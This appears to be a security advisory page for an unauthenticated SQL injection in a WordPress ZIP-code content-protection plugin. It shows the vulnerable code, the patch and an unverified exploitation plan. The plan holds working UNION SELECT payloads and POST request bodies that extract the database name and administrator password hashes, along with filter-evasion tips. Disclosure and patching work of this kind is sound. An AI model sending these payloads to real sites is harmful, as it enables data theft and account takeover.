CVE-2025-14353

ZIP Code Based Content Protection <= 1.0.2 - Unauthenticated SQL Injection via 'zipcode' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.0.3
Patched in
1d
Time to patch

Description

The ZIP Code Based Content Protection plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.0.2 via the 'zipcode' parameter. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.0.2
PublishedMarch 6, 2026
Last updatedMarch 7, 2026

What Changed in the Fix

Changes introduced in v1.0.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting a SQL injection vulnerability in the **ZIP Code Based Content Protection** plugin for WordPress. ## 1. Vulnerability Summary The vulnerability is an unauthenticated SQL injection in the `zip_code` parameter handled by the `Zipcode_BCP_Admin` class. The flaw …

Show full research plan

This research plan focuses on exploiting a SQL injection vulnerability in the ZIP Code Based Content Protection plugin for WordPress.

1. Vulnerability Summary

The vulnerability is an unauthenticated SQL injection in the zip_code parameter handled by the Zipcode_BCP_Admin class. The flaw exists in multiple AJAX handlers (export_registered_users_in_zipcode, preview_registered_users_in_zipcode, and view_posts_registered_users_in_zipcode).

The code uses sanitize_text_field() on the input, which does not escape single quotes, and then interpolates the variable directly into a query string. Critically, it then calls $wpdb->prepare() on the already-interpolated query string while passing an empty string as the second argument. This fails to provide any parameterization for the user input, allowing an attacker to break out of the string literal and append arbitrary SQL.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: export_registered_users_in_zipcode (and variants)
  • HTTP Parameter: zip_code (via $_REQUEST)
  • Authentication: Unauthenticated (as per CVE description; the plugin hooks these actions to wp_ajax_nopriv_* to allow unauthenticated users to export/preview data if they have requested zip codes).
  • Vulnerability Type: UNION-Based SQL Injection.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=export_registered_users_in_zipcode.
  2. Dispatch: WordPress triggers the hook wp_ajax_nopriv_export_registered_users_in_zipcode, which calls Zipcode_BCP_Admin::zbcp_export_registered_users_in_zipcode().
  3. Vulnerable Function (admin/class-zipcode-bcp-admin.php):
    • $zipcode = sanitize_text_field( $_REQUEST['zip_code'] ); (Input is retrieved but not SQL-escaped).
    • $pt_query = "SELECT * FROM $table WHERE zipcode = '$zipcode'"; (Input interpolated into query).
  4. SQL Sink:
    • $users = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A );
    • The prepare call does nothing because the query is already built and the argument is empty.
  5. Output: The results are iterated, and the user_email field is echoed:
    echo "email\n";
    foreach ( $users as $user ) :
        echo esc_attr($user['user_email']) . "\n";
    endforeach;
    

4. Nonce Acquisition Strategy

Based on the analysis of admin/js/zipcode-bcp-admin.js and admin/class-zipcode-bcp-admin.php:

  • No Nonce Required: The AJAX requests in zipcode-bcp-admin.js for these specific actions (export_registered_users_in_zipcode, etc.) do not include any security tokens or nonces in the data object.
  • Missing Server-Side Check: The PHP handlers in class-zipcode-bcp-admin.php do not call check_ajax_referer() or wp_verify_nonce().

Therefore, the exploit can be executed directly without any prior nonce acquisition.

5. Exploitation Strategy

We will use a UNION SELECT payload to extract the database name and the admin user's password hash.

Step 1: Identify Column Count

The table {$wpdb->prefix}zipcode_requested_users contains 6 columns (verified from admin/lists/class-zipcode-bcp-admin-user-requested-zipcodes.php):

  1. id
  2. zipcode
  3. user_email (Reflected in export_registered_users_in_zipcode)
  4. post_id
  5. post_type
  6. post_title

Step 2: Extract Data via export_registered_users_in_zipcode

We will target the 3rd column (user_email) because it is enqueued in the output loop.

HTTP Request:

  • URL: {{target_url}}/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=export_registered_users_in_zipcode&zip_code=1' UNION SELECT 1,2,CONCAT(0x5b53514c495d,DATABASE(),0x3a,user_login,0x3a,user_pass,0x5b53514c495d),4,5,6 FROM wp_users-- -
    
    (Note: 0x5b53514c495d is the hex for [SQLI] to make parsing easy).

6. Test Data Setup

  1. Plugin Activation: Ensure the plugin "ZIP Code Based Content Protection" is installed and activated.
  2. Table Creation: The plugin must have created its tables. This usually happens on activation.
  3. Administrator: Ensure at least one administrator exists in wp_users (standard for any WP install).

7. Expected Results

The response should be a text/csv-like output:

email
[SQLI]wordpress_db:admin:$P$B...[SQLI]

The presence of the database name and hash confirms successful extraction.

8. Verification Steps

  1. Database Check: Use wp db query "SELECT user_pass FROM wp_users WHERE user_login='admin'" via WP-CLI to compare the hash retrieved via the exploit.
  2. Table Check: Verify the table exists: wp db query "SHOW TABLES LIKE '%zipcode_requested_users%'".

9. Alternative Approaches

If export_registered_users_in_zipcode fails to produce output due to character encoding in the CSV flow, use the JSON-based endpoint:

Alternative Action: preview_registered_users_in_zipcode

  • Endpoint: /wp-admin/admin-ajax.php
  • Body: action=preview_registered_users_in_zipcode&zip_code=1' UNION SELECT 1,2,DATABASE(),4,5,6-- -
  • Response: A JSON object where result contains the extracted data inside <p> tags:
    {"status":true,"result":"<p>database_name<\/p>\n"}
    

If sanitize_text_field interferes with complex payloads (like subqueries), use hex encoding for strings to avoid quotes entirely.

Research Findings
Static analysis — not yet PoC-verified

Summary

The ZIP Code Based Content Protection plugin for WordPress is vulnerable to unauthenticated UNION-based SQL injection via the 'zip_code' parameter in several AJAX actions. This occurs because user input is interpolated directly into SQL query strings before being passed to a non-functional $wpdb->prepare() call, allowing attackers to extract sensitive data from the database.

Vulnerable Code

// admin/class-zipcode-bcp-admin.php:118
public function zbcp_export_registered_users_in_zipcode() {
    if ( ! empty( $_REQUEST['zip_code'] ) ) {

        global $wpdb;
        $table   = $wpdb->get_blog_prefix() . 'zipcode_requested_users';
        $zipcode = sanitize_text_field( $_REQUEST['zip_code'] );

        $pt_query = "SELECT * FROM $table WHERE zipcode = '$zipcode'";
        $users    = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A );

---

// admin/class-zipcode-bcp-admin.php:133
function zbcp_preview_registered_users_in_zipcode() {
    if ( ! empty( $_REQUEST['zip_code'] ) ) {
        global $wpdb;
        $table   = $wpdb->get_blog_prefix() . 'zipcode_requested_users';
        $zipcode = sanitize_text_field( $_REQUEST['zip_code'] );

        $pt_query = "SELECT * FROM $table WHERE zipcode = '$zipcode'";
        $users    = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A );

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/zip-code-based-content-protection/1.0.1/admin/class-zipcode-bcp-admin.php	2025-09-09 12:59:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/zip-code-based-content-protection/1.0.3/admin/class-zipcode-bcp-admin.php	2026-02-19 10:41:48.000000000 +0000
@@ -113,29 +88,56 @@
 		if ( ! empty( $_REQUEST['zip_code'] ) ) {
 
 			global $wpdb;
-			$table   = $wpdb->get_blog_prefix() . 'zipcode_requested_users';
-			$zipcode = sanitize_text_field( $_REQUEST['zip_code'] );
+			$table = $wpdb->prefix . 'zipcode_requested_users';
+
+			// Get and sanitize ZIP code.
+			$zipcode = sanitize_text_field( wp_unslash( $_REQUEST['zip_code'] ) );
 
-			$pt_query = "SELECT * FROM $table WHERE zipcode = '$zipcode'";
-			$users    = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A );
+			if ( empty( $zipcode ) ) {
+				exit();
+			}
 
+			// Prepare query safely.
+			$query = $wpdb->prepare(
+				"SELECT user_email FROM {$table} WHERE zipcode = %s",
+				$zipcode
+			);
+
+			// Fetch results.
+			$users = $wpdb->get_results( $query, ARRAY_A );

Exploit Outline

The exploit targets unauthenticated AJAX handlers like 'export_registered_users_in_zipcode' or 'preview_registered_users_in_zipcode'. An attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to one of the vulnerable hooks and a 'zip_code' parameter containing a SQL payload. Because sanitize_text_field() does not escape single quotes and the query string is pre-interpolated before being passed to $wpdb->prepare() with an empty argument, an attacker can use a UNION SELECT statement to jump out of the 'zipcode' string literal. By determining the column count of the target table, the attacker can reflect results (such as admin password hashes or the database name) directly into the response, which is returned either as plain text/CSV or JSON depending on the action hit.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.